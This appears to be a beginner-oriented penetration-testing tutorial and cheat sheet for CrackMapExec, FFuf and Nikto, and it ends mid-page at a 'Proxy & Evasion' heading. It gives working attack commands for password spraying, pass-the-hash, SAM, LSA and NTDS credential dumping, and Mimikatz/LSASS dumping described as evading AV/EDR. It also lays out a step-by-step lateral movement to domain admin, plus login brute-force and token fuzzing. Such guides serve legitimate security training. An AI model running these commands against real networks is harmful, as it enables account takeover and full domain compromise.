Why CrackMapExec? Supports 5+ protocols (SMB, SSH, WinRM, LDAP, MSSQL), has 100+ modules, validates credentials across entire subnets in SECONDS, executes commands on multiple machines simultaneously, and has a built-in database to track compromised hosts. Essential for AD pentesting!

Installation & Setup
# Install (pre-installed in Kali as 'crackmapexec' or 'cme'): sudo apt install crackmapexec # Check version: crackmapexec --version # Or short form: cme --version # View protocols: crackmapexec # Shows: smb, ssh, winrm, ldap, mssql, rdp, vnc, ftp # View modules for specific protocol: crackmapexec smb --list-modules # Shows: mimikatz, lsassy, nanodump, procdump, etc. # Database location: ~/.cme/workspaces/default/default.db # Stores: Hosts, credentials, shares, sessions
Protocol 1: SMB (Most Important!)

SMB = Server Message Block (Windows file sharing protocol). CME can enumerate shares, validate creds, execute commands, dump SAM/LSA, and MORE!

# Basic SMB enumeration (no credentials): crackmapexec smb 192.168.1.0/24 # Scans entire subnet for SMB hosts # Output: SMB 192.168.1.50 445 DC01 [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:CORP.LOCAL) SMB 192.168.1.51 445 SRV01 [*] Windows 10.0 Build 19041 x64 (name:SRV01) (domain:CORP.LOCAL) # BEGINNER EXPLANATION: # Shows: IP, hostname, Windows version, domain # No creds needed! # Check if user is admin on targets: crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' --local-auth # --local-auth: Try local admin (not domain) # Output shows "Pwn3d!" if admin: SMB 192.168.1.50 445 DC01 [+] DC01\administrator:P@ssw0rd! (Pwn3d!) # ^^^^^^^^ # "Pwn3d!" = You have admin rights! # Domain authentication: crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' -d CORP.LOCAL # -d: Domain name # Pass-the-hash: crackmapexec smb 192.168.1.0/24 -u administrator -H 'NTLM_HASH' # -H: NTLM hash (from secretsdump)
Credential Validation & Password Spraying
# Single credential validation: crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' # [+] john:Welcome123! = Valid creds # [-] john:Welcome123! = Invalid creds # [+] Pwn3d! = Admin creds! # Password spraying (one password, many users): crackmapexec smb 192.168.1.50 -u users.txt -p 'Welcome123!' --continue-on-success # --continue-on-success: Don't stop after first hit # Multiple passwords: crackmapexec smb 192.168.1.50 -u users.txt -p passwords.txt # Tries: user1:pass1, user1:pass2, ..., user2:pass1, etc. # Check if creds work on entire subnet: crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' --shares # Shows: All machines where john has access + their shares # BEGINNER TIP: # Always use --continue-on-success for password spraying! # Default behavior: Stop after first success
SMB Share Enumeration
# List shares: crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --shares # Output: Share Permissions Remark ----- ----------- ------ ADMIN$ READ,WRITE Remote Admin C$ READ,WRITE Default share IPC$ READ Remote IPC Users READ User shares # Spider shares (recursively list files): crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --spider C$ --pattern *.txt # --pattern: Search for specific file types (passwords.txt, config.ini, etc.) # Download file from share: crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --get-file '\\C$\\passwords.txt' ./passwords.txt
Command Execution
# Execute single command: crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -x "whoami" # -x: Execute command via cmd.exe # Execute PowerShell command: crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -X "Get-Process" # -X: Execute via PowerShell # Execute on multiple machines: crackmapexec smb targets.txt -u administrator -p 'P@ssw0rd!' -x "ipconfig /all" # Runs command on ALL targets simultaneously! # Execute with hash (pass-the-hash): crackmapexec smb 192.168.1.50 -u administrator -H 'NTLM_HASH' -x "net user"
Credential Dumping
# Dump SAM hashes: crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' --sam # Dumps: Local user hashes (Administrator, Guest, etc.) # Dump LSA secrets: crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' --lsa # Dumps: Cached domain credentials, service account passwords # Dump NTDS (Domain Controller - all domain hashes!): crackmapexec smb 192.168.1.10 -u administrator -p 'P@ssw0rd!' --ntds # Dumps: ALL domain user hashes (DCSync attack!) # Use modules for credential dumping: # Mimikatz module: crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M mimikatz # Runs Mimikatz → dumps plaintext passwords from memory! # Lsassy module (stealthier than Mimikatz): crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M lsassy # Dumps LSASS memory → extracts credentials # Nanodump module (very stealthy!): crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M nanodump # Dumps LSASS without triggering AV/EDR
Modules (100+ Available!)
# List all modules: crackmapexec smb --list-modules # Popular modules: # Get logged-on users: crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' -M logged_on_users # Check for BlueKeep vulnerability (CVE-2019-0708): crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' -M bluekeep # Check SMB signing: crackmapexec smb 192.168.1.0/24 -M smbsigning # Enumerate antivirus: crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M enum_avproducts # Check if host is vulnerable to EternalBlue (MS17-010): crackmapexec smb 192.168.1.0/24 -M ms17-010 # Read LAPS passwords: crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' -M laps # Enumerate domain users: crackmapexec smb 192.168.1.10 -u john -p 'Welcome123!' -M enum_domain_users # Get domain password policy: crackmapexec smb 192.168.1.10 -u john -p 'Welcome123!' -M enum_password_policy # Spider shares (find sensitive files): crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' -M spider_plus # Execute Mimikatz: crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M mimikatz crackmapexec smb 192.168.1.50 -u administrator -p 'P@ssw0rd!' -M mimikatz -o COMMAND='privilege::debug sekurlsa::logonpasswords'
Protocol 2: WinRM (Windows Remote Management)
# Check if WinRM is available: crackmapexec winrm 192.168.1.50 -u john -p 'Welcome123!' # [+] WinRM enabled! # Execute command: crackmapexec winrm 192.168.1.50 -u administrator -p 'P@ssw0rd!' -x "whoami" # Execute PowerShell: crackmapexec winrm 192.168.1.50 -u administrator -p 'P@ssw0rd!' -X "Get-Process" # Spray WinRM credentials: crackmapexec winrm 192.168.1.0/24 -u users.txt -p 'Welcome123!'
Protocol 3: MSSQL (Microsoft SQL Server)
# Enumerate MSSQL servers: crackmapexec mssql 192.168.1.0/24 -u sa -p 'password' # Execute SQL query: crackmapexec mssql 192.168.1.50 -u sa -p 'password' -q "SELECT @@version" # -q: SQL query # Execute system command via xp_cmdshell: crackmapexec mssql 192.168.1.50 -u sa -p 'password' -x "whoami" # Enables xp_cmdshell → runs command # Module: Enable xp_cmdshell: crackmapexec mssql 192.168.1.50 -u sa -p 'password' -M mssql_priv
Protocol 4: LDAP (Lightweight Directory Access Protocol)
# Enumerate LDAP: crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!' # Enumerate domain users: crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!' --users # Enumerate domain groups: crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!' --groups # Check for AS-REP roastable users: crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!' -M asreproast # Check for Kerberoastable users: crackmapexec ldap 192.168.1.10 -u john -p 'Welcome123!' -M kerberoast
Protocol 5: SSH
# Check SSH credentials: crackmapexec ssh 192.168.1.0/24 -u root -p 'password' # Execute command: crackmapexec ssh 192.168.1.50 -u root -p 'password' -x "id"
Complete Attack Scenarios
# SCENARIO 1: Initial Access → Lateral Movement # Step 1: Password spray (find valid creds) crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Welcome123!' --continue-on-success # Found: john:Welcome123! works on 192.168.1.50 # Step 2: Check where john is admin crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' # john is NOT admin anywhere :( # Step 3: Enumerate shares (find sensitive data) crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --shares # Found: Backups share (READ access) # Step 4: Spider shares (search for passwords) crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --spider Backups --pattern *.txt # Found: passwords.txt # Step 5: Download file crackmapexec smb 192.168.1.50 -u john -p 'Welcome123!' --get-file '\\Backups\\passwords.txt' ./passwords.txt # Got: administrator:P@ssw0rd! (local admin password!) # Step 6: Check if admin password works on other machines crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' --local-auth # Admin on: 192.168.1.50, 192.168.1.51, 192.168.1.52 (Pwn3d!) # Step 7: Dump SAM from all admin machines crackmapexec smb 192.168.1.50 192.168.1.51 192.168.1.52 -u administrator -p 'P@ssw0rd!' --sam --local-auth # Dumped: All local hashes # Step 8: Check if any hash works on other machines (pass-the-hash) crackmapexec smb 192.168.1.0/24 -u administrator -H 'NTLM_HASH' # Hash works on: 192.168.1.53, 192.168.1.54! # Step 9: Eventually reach Domain Controller crackmapexec smb 192.168.1.10 -u administrator -H 'NTLM_HASH' # Pwn3d! Admin on DC! # Step 10: DCSync (dump all domain hashes) crackmapexec smb 192.168.1.10 -u administrator -H 'NTLM_HASH' --ntds # Got: All domain hashes including krbtgt! # SCENARIO 2: Automated Network Sweep # One-liner to pwn entire network: crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' -x "whoami" --shares --sam # SCENARIO 3: Stealthy Credential Dumping # Use lsassy module (bypasses most AV): crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' -M lsassy # Dumps credentials from ALL machines simultaneously!
Database Features
# CME stores ALL findings in database! # View database: cmedb # Commands inside cmedb: # Show all hosts: hosts # Show credentials: creds # Show shares: shares # Export to CSV: export hosts hosts.csv export creds creds.csv # Clear database: clear_database # BEGINNER TIP: # Database tracks: What hosts you scanned, what creds work where, what shares exist # Useful for: Reporting, tracking progress, avoiding duplicate work
Advanced Techniques
# Threading (speed up scans): crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' -t 100 # -t: Threads (default: 100, max: 256) # Timeout settings: crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' --timeout 5 # --timeout: Connection timeout in seconds # Only show Pwn3d! results: crackmapexec smb 192.168.1.0/24 -u administrator -p 'P@ssw0rd!' | grep Pwn3d # Output to file: crackmapexec smb 192.168.1.0/24 -u john -p 'Welcome123!' > results.txt # Use with proxychains (pivot through compromised machine): proxychains crackmapexec smb 10.10.10.0/24 -u john -p 'Welcome123!' # Combination attacks: # 1. Responder captures hash # 2. Crack with Hashcat # 3. Spray with CME: crackmapexec smb 192.168.1.0/24 -u john -p 'CRACKED_PASSWORD' # 4. Dump SAM from admin machines # 5. Pass-the-hash to other machines # 6. Repeat until Domain Admin!

🎯 CrackMapExec Cheat Sheet

Quick reference for common operations:

Enumeration:
• cme smb 192.168.1.0/24 - SMB host discovery
• cme smb IP -u USER -p PASS --shares - List shares
• cme smb IP -u USER -p PASS --users - Enumerate domain users
• cme smb IP -u USER -p PASS --groups - Enumerate groups
• cme smb IP -u USER -p PASS --sessions - Show logged-in users

Credential Validation:
• cme smb IP -u USER -p PASS - Check if creds valid
• cme smb IP -u USER -H HASH - Pass-the-hash
• cme smb SUBNET -u users.txt -p PASS - Password spray
• cme smb IP -u '' -p '' - Check for null sessions

Command Execution:
• cme smb IP -u USER -p PASS -x "cmd" - Execute cmd.exe command
• cme smb IP -u USER -p PASS -X "powershell" - Execute PowerShell
• cme winrm IP -u USER -p PASS -x "cmd" - Execute via WinRM

Credential Dumping:
• cme smb IP -u USER -p PASS --sam - Dump SAM hashes
• cme smb IP -u USER -p PASS --lsa - Dump LSA secrets
• cme smb DC -u USER -p PASS --ntds - DCSync (all domain hashes)
• cme smb IP -u USER -p PASS -M lsassy - Dump LSASS (stealthy)
• cme smb IP -u USER -p PASS -M mimikatz - Run Mimikatz

Modules:
• cme smb --list-modules - List all modules
• cme smb IP -u USER -p PASS -M MODULE - Run module
• cme smb IP -M ms17-010 - Check for EternalBlue
• cme smb IP -u USER -p PASS -M laps - Read LAPS passwords
• cme smb IP -u USER -p PASS -M spider_plus - Spider shares

Database:
• cmedb - Open database shell
• hosts - Show all scanned hosts
• creds - Show all captured credentials
• export creds creds.csv - Export to CSV

Pro Tips:
• Always use --continue-on-success for password spraying
• Use --local-auth for local admin accounts (not domain)
• Combine with BloodHound: CME finds creds → BloodHound finds paths to DA
• Use -M lsassy instead of Mimikatz (bypasses most AV/EDR)
• Database tracks progress → No duplicate work!
• Pass-the-hash is FASTER than cracking (use -H flag)

CrackMapExec = Automate ALL the things! 🚀⚡

FFuf (Fuzz Faster U Fool - THE Web Fuzzer)

What is FFuf? FFuf (Fuzz Faster U Fool) is a blazing-fast web fuzzer written in Go. It's designed to replace tools like wfuzz, dirbuster, and gobuster for EVERYTHING: directory brute-forcing, parameter fuzzing, vhost discovery, header injection, POST data fuzzing, and MORE! It's called "Fuzz Faster" for a reason - it's FAST!

Why FFuf? It's written in Go (multi-threaded, super fast), supports EVERY fuzzing use case (directory, subdomain, parameter, header, POST, cookie), has powerful filtering options (match/filter by status code, size, words, lines, regex), and can calibrate automatically (detects false positives). Essential for modern web pentesting!

Installation & Basic Usage
# Install (pre-installed in Kali): sudo apt install ffuf # Or install latest from GitHub: go install github.com/ffuf/ffuf@latest # Basic directory fuzzing: ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt # -u: URL with FUZZ keyword (position to inject wordlist) # -w: Wordlist path # Example output: [Status: 200, Size: 1234, Words: 56, Lines: 78] http://target.com/admin [Status: 301, Size: 178, Words: 6, Lines: 8] http://target.com/uploads [Status: 403, Size: 277, Words: 20, Lines: 10] http://target.com/config # BEGINNER EXPLANATION: # FUZZ = Placeholder where wordlist entries get injected # Status 200 = Found! (OK) # Status 301 = Redirect (often interesting!) # Status 403 = Forbidden (exists but no access - worth investigating!) # Status 404 = Not found (skip)
Directory & File Fuzzing
# Fuzz directories: ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # Fuzz files with extensions: ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt,.js,.json,.bak,.zip # -e: Extensions to append # Example: # Wordlist: admin, config, backup # With -e .php,.txt: # Tries: admin, admin.php, admin.txt, config, config.php, config.txt, etc. # Fuzz both directory and file: ffuf -u http://target.com/FUZZ/FUZ2Z -w wordlist1.txt:FUZZ -w wordlist2.txt:FUZ2Z # Two FUZZ positions with different wordlists! # Recursive fuzzing: ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion # Automatically fuzzes discovered directories! # Recursion depth: ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 3 # Max 3 levels deep
Filtering & Matching Results
# Filter by status code (hide unwanted): ffuf -u http://target.com/FUZZ -w wordlist.txt -fc 404,403 # -fc: Filter out status codes (don't show) # Match only specific status codes: ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302 # -mc: Match only these status codes (show ONLY these) # Filter by response size: ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 1234 # -fs: Filter out responses with size 1234 bytes # Useful when: All 404s have same size → filter them out! # Match by size: ffuf -u http://target.com/FUZZ -w wordlist.txt -ms 5000-10000 # -ms: Match only sizes between 5KB-10KB # Filter by word count: ffuf -u http://target.com/FUZZ -w wordlist.txt -fw 20 # -fw: Filter responses with 20 words (e.g., all 404 pages say "Not Found") # Filter by line count: ffuf -u http://target.com/FUZZ -w wordlist.txt -fl 10 # -fl: Filter responses with 10 lines # Filter by regex: ffuf -u http://target.com/FUZZ -w wordlist.txt -fr "error|not found" # -fr: Filter responses matching regex pattern # Match by regex: ffuf -u http://target.com/FUZZ -w wordlist.txt -mr "admin|dashboard" # -mr: Show ONLY responses matching regex # COMBINE FILTERS: ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200 -fs 1234 -fw 20 -fc 403 # Match: 200 status, Filter: size 1234, 20 words, 403 status
Auto-Calibration (Smart Filtering!)
# Auto-calibrate (detect false positives): ffuf -u http://target.com/FUZZ -w wordlist.txt -ac # -ac: Auto-calibration # HOW IT WORKS: # 1. FFuf sends random strings (e.g., "asdfghjkl123") # 2. Records response size/words/lines # 3. Automatically filters out responses matching "not found" pattern # Example: # All 404s return: Size 1234, 20 words, 10 lines # With -ac: FFuf auto-filters size 1234! # Auto-calibration with custom strategy: ffuf -u http://target.com/FUZZ -w wordlist.txt -ac -acc 5 # -acc: Calibration accuracy (how many random requests to send)
POST Data Fuzzing
# Fuzz POST parameter value: ffuf -u http://target.com/login -w wordlist.txt -X POST -d "username=admin&password=FUZZ" # -X: HTTP method (POST) # -d: POST data # FUZZ: Where to inject wordlist # Fuzz parameter name: ffuf -u http://target.com/api -w wordlist.txt -X POST -d "FUZZ=test" # Tries: username=test, password=test, token=test, etc. # Fuzz JSON data: ffuf -u http://target.com/api/v1/login -w wordlist.txt -X POST -d '{"username":"admin","password":"FUZZ"}' -H "Content-Type: application/json" # -H: Custom header # Fuzz multiple parameters: ffuf -u http://target.com/api -w users.txt:USER -w passwords.txt:PASS -X POST -d "username=USER&password=PASS" # Tries ALL combinations!
Header Fuzzing
# Fuzz custom header: ffuf -u http://target.com -w wordlist.txt -H "X-Forwarded-For: FUZZ" # Try: X-Forwarded-For: 127.0.0.1, 192.168.1.1, etc. # Useful for: IP whitelist bypass # Fuzz User-Agent: ffuf -u http://target.com -w user-agents.txt -H "User-Agent: FUZZ" # Fuzz header name: ffuf -u http://target.com -w header-names.txt -H "FUZZ: test" # Tries: X-Forwarded-For: test, X-Original-IP: test, etc. # Fuzz Authorization header: ffuf -u http://target.com/admin -w tokens.txt -H "Authorization: Bearer FUZZ"
Virtual Host (Vhost) Discovery
# Fuzz vhost (subdomain): ffuf -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.target.com" # -H "Host: FUZZ.domain": Fuzz vhost in Host header # Filter out default vhost (false positives): ffuf -u http://target.com -w wordlist.txt -H "Host: FUZZ.target.com" -fs 1234 # -fs: Filter default response size # Match vhosts with different response: ffuf -u http://10.10.10.50 -w wordlist.txt -H "Host: FUZZ.target.local" -mc 200 -ac # -ac: Auto-calibrate to filter default responses # BEGINNER EXPLANATION: # Vhost = Virtual host (multiple websites on same IP) # Example: admin.target.com, dev.target.com, api.target.com # All point to same IP but show different content! # Host header tells server WHICH website you want
GET Parameter Fuzzing
# Fuzz GET parameter value: ffuf -u http://target.com/page.php?id=FUZZ -w wordlist.txt # Fuzz parameter name: ffuf -u http://target.com/page.php?FUZZ=test -w wordlist.txt # Tries: ?username=test, ?id=test, ?file=test, etc. # Fuzz multiple parameters: ffuf -u http://target.com/page.php?FUZZ=FUZ2Z -w params.txt:FUZZ -w values.txt:FUZ2Z # Tries ALL combinations of parameters and values! # SQL injection fuzzing: ffuf -u "http://target.com/page.php?id=FUZZ" -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -mc 200,500 # Look for: Status 500 (SQL error!) or 200 with different response
Cookie Fuzzing
# Fuzz cookie value: ffuf -u http://target.com/admin -w wordlist.txt -b "session=FUZZ" # -b: Cookie # Fuzz cookie name: ffuf -u http://target.com -w wordlist.txt -b "FUZZ=test"
Subdomain Enumeration
# Fuzz subdomain via DNS: ffuf -u http://FUZZ.target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # Sends requests: http://admin.target.com, http://dev.target.com, etc. # Filter out non-existent subdomains: ffuf -u http://FUZZ.target.com -w wordlist.txt -mc 200,301,302,403 -ac # Fuzz subdomain via Host header (for internal networks): ffuf -u http://10.10.10.50 -w wordlist.txt -H "Host: FUZZ.internal.local"
Speed & Performance Tuning
# Threads (concurrent requests): ffuf -u http://target.com/FUZZ -w wordlist.txt -t 200 # -t: Threads (default: 40, increase for speed!) # Rate limiting (requests per second): ffuf -u http://target.com/FUZZ -w wordlist.txt -rate 100 # -rate: Max 100 requests/second (avoid triggering WAF/IDS) # Timeout: ffuf -u http://target.com/FUZZ -w wordlist.txt -timeout 5 # -timeout: Max 5 seconds per request # Max time: ffuf -u http://target.com/FUZZ -w wordlist.txt -maxtime 300 # -maxtime: Stop after 300 seconds (5 minutes) # Max time per job: ffuf -u http://target.com/FUZZ -w wordlist.txt -maxtime-job 60 # Stop individual fuzzing job after 60 seconds
Output & Reporting
# Save results to file: ffuf -u http://target.com/FUZZ -w wordlist.txt -o results.txt # -o: Output file # Output format (JSON, CSV, HTML): ffuf -u http://target.com/FUZZ -w wordlist.txt -o results.json -of json # -of: Output format (json, csv, ecsv, html, md) # Silent mode (only show results): ffuf -u http://target.com/FUZZ -w wordlist.txt -s # -s: Silent (no progress bar) # Verbose mode: ffuf -u http://target.com/FUZZ -w wordlist.txt -v # -v: Show full URL, redirect location, etc.
Proxy & Authentication
# Use proxy (Burp Suite): ffuf -u http://target.com/FUZZ -w wordlist.txt -x http://127.0.0.1:8080 # -x: Proxy URL # Replay proxy (log traffic): ffuf -u http://target.com/FUZZ -w wordlist.txt -replay-proxy http://127.0.0.1:8080 # Basic authentication: ffuf -u http://target.com/FUZZ -w wordlist.txt -H "Authorization: Basic BASE64_CREDS" # Ignore SSL errors: ffuf -u https://target.com/FUZZ -w wordlist.txt -k # -k: Ignore certificate errors
Complete Attack Scenarios
# SCENARIO 1: Full Web App Fuzzing # Step 1: Directory fuzzing ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -mc 200,301,302,401,403 -ac -o dirs.txt # Step 2: File fuzzing with extensions ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -e .php,.html,.txt,.js,.json,.bak,.zip -mc 200 -ac -o files.txt # Step 3: Vhost discovery ffuf -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.target.com" -ac -o vhosts.txt # Step 4: Parameter fuzzing ffuf -u http://target.com/page.php?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 1234 -o params.txt # Step 5: Recursive fuzzing on interesting directories ffuf -u http://target.com/admin/FUZZ -w wordlist.txt -recursion -recursion-depth 2 -mc 200,301 # SCENARIO 2: API Fuzzing # Fuzz API endpoints: ffuf -u http://api.target.com/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201 -ac # Fuzz API parameters: ffuf -u http://api.target.com/v1/users?FUZZ=test -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 # Fuzz JSON body: ffuf -u http://api.target.com/v1/login -X POST -w passwords.txt -d '{"username":"admin","password":"FUZZ"}' -H "Content-Type: application/json" -mc 200,302 # SCENARIO 3: Authentication Bypass # Fuzz login credentials: ffuf -u http://target.com/login -X POST -w usernames.txt:USER -w passwords.txt:PASS -d "username=USER&password=PASS" -mc 302 -fc 200 # -mc 302: Match redirects (successful login!) # -fc 200: Filter failed logins (stay on page) # Fuzz session tokens: ffuf -u http://target.com/admin -w tokens.txt -b "session=FUZZ" -mc 200 -fc 302 # Fuzz JWT tokens: ffuf -u http://target.com/api/data -w jwts.txt -H "Authorization: Bearer FUZZ" -mc 200
Best Wordlists for FFuf
# SecLists (BEST wordlist collection!): # Install: git clone https://github.com/danielmiessler/SecLists.git # BEST wordlists: # 1. Directories (small/medium/large): /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt # 87,650 entries /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # 220,560 entries /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt # 62,284 entries # 2. Files: /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt # 37,050 entries /usr/share/seclists/Discovery/Web-Content/common.txt # 4,614 entries # 3. Subdomains: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # 5,000 entries /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt # 110,000 entries # 4. Parameters: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt # 6,453 entries # 5. API endpoints: /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt # API paths # 6. Usernames: /usr/share/seclists/Usernames/top-usernames-shortlist.txt # 17 entries /usr/share/seclists/Usernames/Names/names.txt # 10,177 entries # 7. Passwords: /usr/share/wordlists/rockyou.txt # 14 million passwords! /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt

🎯 FFuf Cheat Sheet

Quick reference for fuzzing:

Directory Fuzzing:
• ffuf -u http://target.com/FUZZ -w wordlist.txt
• ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt (with extensions)
• ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion (recursive)

Filtering:
• -mc 200,301 - Match status codes
• -fc 404,403 - Filter out status codes
• -fs 1234 - Filter response size
• -fw 20 - Filter word count
• -fl 10 - Filter line count
• -fr "regex" - Filter by regex
• -ac - Auto-calibrate (smart filtering!)

POST Data Fuzzing:
• ffuf -u URL -X POST -d "username=admin&password=FUZZ" -w wordlist.txt
• ffuf -u URL -X POST -d '{"user":"admin","pass":"FUZZ"}' -H "Content-Type: application/json" -w wordlist.txt

Header Fuzzing:
• ffuf -u URL -H "Header: FUZZ" -w wordlist.txt
• ffuf -u URL -H "Host: FUZZ.target.com" -w wordlist.txt (vhost discovery)

Parameter Fuzzing:
• ffuf -u http://target.com/page.php?id=FUZZ -w wordlist.txt (value)
• ffuf -u http://target.com/page.php?FUZZ=test -w wordlist.txt (name)

Speed:
• -t 200 - Threads (default: 40)
• -rate 100 - Max requests/second
• -timeout 5 - Request timeout

Output:
• -o results.txt - Save to file
• -of json - Output format (json, csv, html)
• -s - Silent mode
• -v - Verbose mode

Pro Tips:
• Always use -ac (auto-calibrate) to filter false positives
• Combine filters: -mc 200 -fc 404 -fs 1234
• Use -x http://127.0.0.1:8080 to proxy through Burp Suite
• Start with small wordlist → expand if needed
• Match redirects (302) for login brute-force: -mc 302 -fc 200
• Fuzz EVERYTHING: directories, files, parameters, headers, cookies, vhosts!

FFuf = Speed + Flexibility = Web fuzzing perfection! ⚡🎯

Nikto (THE Web Server Vulnerability Scanner)

What is Nikto? Nikto is an open-source web server scanner that tests for 6,700+ potentially dangerous files/programs, checks for outdated versions of 1,250+ servers, and scans for version-specific problems on 270+ servers. It's OLD but GOLD - been around since 2001 and still actively maintained!

Why Nikto? It's comprehensive (tests EVERYTHING), easy to use (one command!), generates detailed reports, and finds low-hanging fruit FAST. Perfect for initial web server enumeration before diving deeper with Burp/ZAP!

Installation & Basic Usage
# Install (pre-installed in Kali): sudo apt install nikto # Basic scan: nikto -h http://target.com # -h: Target host/URL # Example output: + Server: Apache/2.4.41 (Ubuntu) + The X-XSS-Protection header is not defined + The X-Content-Type-Options header is not set + /admin/: Admin directory found + /config.php: Configuration file found + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.52) + OSVDB-3268: /test/: Directory indexing found + OSVDB-3092: /phpmyadmin/: phpMyAdmin found + 8724 requests: 0 error(s) and 45 item(s) reported on remote host # BEGINNER EXPLANATION: # Nikto tests 6,700+ things: # - Dangerous files (config.php, phpinfo.php, /admin/) # - Outdated server versions # - Missing security headers # - Directory indexing # - Known vulnerabilities
Common Options & Flags
# Scan specific port: nikto -h http://target.com:8080 nikto -h http://target.com -p 80,443,8080 # -p: Port(s) to scan # HTTPS scan: nikto -h https://target.com # Automatically detects SSL/TLS # Scan multiple hosts: nikto -h targets.txt # File with: One URL/IP per line # Tuning (scan specific categories): nikto -h http://target.com -Tuning 123 # -Tuning: Scan types (numbers 0-9, a-c, x) # Tuning options: # 0: File Upload # 1: Interesting File / Seen in logs # 2: Misconfiguration / Default File # 3: Information Disclosure # 4: Injection (XSS/Script/HTML) # 5: Remote File Retrieval - Inside Web Root # 6: Denial of Service # 7: Remote File Retrieval - Server Wide # 8: Command Execution / Remote Shell # 9: SQL Injection # a: Authentication Bypass # b: Software Identification # c: Remote Source Inclusion # x: Reverse Tuning (scan everything EXCEPT specified) # Example: Only scan for XSS and SQLi: nikto -h http://target.com -Tuning 49 # 4 = XSS, 9 = SQLi # Exclude tuning (scan everything EXCEPT file uploads): nikto -h http://target.com -Tuning x0 # x0 = Everything except file uploads # Full scan (takes longer!): nikto -h http://target.com -Tuning 0123456789abc
Authentication & Cookies
# Basic authentication: nikto -h http://target.com -id username:password # -id: HTTP Basic Auth # Cookie-based authentication: nikto -h http://target.com -C "session=abc123; token=xyz789" # -C: Cookie header # Custom User-Agent: nikto -h http://target.com -useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
Output & Reporting
# Save to file: nikto -h http://target.com -o results.txt # -o: Output file # Output format: nikto -h http://target.com -o results.html -Format html # -Format: html, xml, csv, txt # Multiple formats: nikto -h http://target.com -o results -Format htm,xml,csv # Creates: results.htm, results.xml, results.csv # JSON output (for automation): nikto -h http://target.com -o results.json -Format json
Performance Tuning
# Timeout settings: nikto -h http://target.com -timeout 5 # -timeout: Max 5 seconds per request # Max scan time: nikto -h http://target.com -maxtime 300 # -maxtime: Stop after 300 seconds (5 minutes) # Pause between requests (avoid detection): nikto -h http://target.com -Pause 2 # -Pause: Wait 2 seconds between requests # Follow redirects: nikto -h http://target.com -followredirects # Useful when: App redirects to different URL
Proxy & Evasion
